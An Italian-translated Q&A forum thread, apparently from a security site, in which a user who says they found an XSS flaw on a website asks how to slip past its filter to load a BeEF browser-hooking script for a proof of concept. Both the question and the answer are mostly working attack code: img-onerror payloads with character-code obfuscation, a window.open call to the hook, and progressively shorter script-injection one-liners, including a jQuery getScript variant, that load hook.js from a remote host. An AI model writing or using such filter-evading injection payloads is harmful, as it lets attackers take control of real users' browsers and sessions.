Filtro bypass XSS per agganciare BeEF

4

Ho trovato una vulnerabilità su un sito Web che mi consente di attivare XSS. È una vulnerabilità molto specifica, causata da un difetto di progettazione. Voglio scrivere un PoC per loro ma sono bloccato in questo passaggio.

Il payload XSS non viene fornito tramite un URL e non viene memorizzato in un database. Quindi, non è né XSS persistente né XSS riflessivo. L'utente malintenzionato deve inserire il payload in una casella e inviarlo a un altro utente di quel sito web modificando un ID specifico.

Ad ogni modo, la mia domanda. Filtrano XSS ma non abbastanza, perché questo bypass, può bypassare il loro filtro:

<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>

Il problema è, come faccio ad usare questo filtro specifico per collegare BeEF su di esso? Ho provato:

<IMG SRC=/ onerror="document.write(String.fromCharCode(60, 115, 99, 114, 105, 112, 116, 32, 115, 114, 99, 61, 34, 49, 50, 55, 46, 48, 46, 48, 46, 49, 58, 51, 48, 48, 48, 47, 104, 111, 111, 107, 46, 106, 115, 34, 62, 60, 47, 115, 99, 114, 105, 112, 116, 62))"></img>

Ma quel carico utile non è stato consegnato pulito, in quanto ho ottenuto un sacco di altro HTML misto. Ho anche cercato se ci sono già articoli che spiegano come bypassare i filtri XSS per agganciare BeEF su di esso, ma non ne ho trovato nessuno.

Quindi la mia domanda, esiste un modo per aggirare i filtri XSS, per poter agganciare BeEF su di esso? Non sto chiedendo come bypassare XSS in generale, lo chiedo in una situazione in cui desideri includi il file hook.js di BeEF.

Modifica 1: un problema in più, ho solo 116 caratteri esatti da inserire nella casella. Non penso che ci sia un problema per accorciare così tanto JavaScript? Inoltre, ciò che intendevo con "Ho ottenuto un mix con un sacco di HTML", è stato il fatto che quando ho inserito quell'altra lunga stringa, la casella "assorbiva" un pezzo di codice HTML. Ciò che potrebbe anche soddisfare è usare la funzione window.open (), per aprire un sito Web contenente l'hook in una nuova finestra o scheda o altro.

Modifica 2: ho trovato un modo per aprire un nuovo URL in una nuova scheda utilizzando questo codice: <img src="/" onerror="window.open('http://127.0.0.1:3000/hook.js', '_blank')"> Tuttavia, l'utente riceve un avviso che un popup è stato bloccato e quando glielo permette, si concentra immediatamente su quella scheda. Questo soddisfa per un PoC? O qualcuno ha soluzioni migliori?

    
posta O'Niel 06.07.2016 - 15:38
fonte

1 risposta

5

Versione originale

L'utilizzo di document.write in un evento può causare problemi è l'evento viene generato dopo che la pagina è stata caricata (cioè chiusa), perché il browser sarà cancella il documento e avvia uno nuovo vuoto. Non sono sicuro di capire che cosa "il payload non viene consegnato pulito, in quanto ottengo un sacco di altri HTML mixati" dovrebbe significare, ma questo potrebbe essere il tuo problema.

Se è così, prova a utilizzare questo (meno le interruzioni di linea e i commenti) come payload:

var x = document.createElement(String.fromCharCode(115, 99, 114, 105, 112, 116)); // "script"
x.src = String.fromCharCode(49, 50, 55, 46, 48, 46, 48, 46, 49, 58, 51, 48, 48, 48, 47, 104, 111, 111, 107, 46, 106, 115); // "127.0.0.1:3000/hook.js" - Might not need to be obfuscated?
document.body.appendChild(x);

Basato su questa risposta.

Versioni più brevi

Scriverò questi con spazi bianchi inclusi per la leggibilità, ma questi possono essere rimossi. Sto dicendo che solo la parola script viene filtrata poiché hai usato fromCharCode . Se ne viene filtrato altro, potrebbe essere necessario cambiarlo un po ', ma dovrebbe esserci spazio per le manovre.

Alt 1 (94 caratteri)

y = document;
x = y.createElement("scr" + "ipt");
x.src = "127.0.0.1:3000/hook.js";
y.body.appendChild(x)

Se script senza < e > è OK, potresti ottenere alcuni caratteri rimuovendo "+" .

Alt 2 (con jQuery, 43 caratteri)

$["getScr"+"ipt"]("127.0.0.1:3000/hook.js")

Anche in questo caso, se script è OK, puoi ottenere fino a 37 caratteri:

$.getScript("127.0.0.1:3000/hook.js")
    
risposta data 06.07.2016 - 16:09
fonte

Leggi altre domande sui tag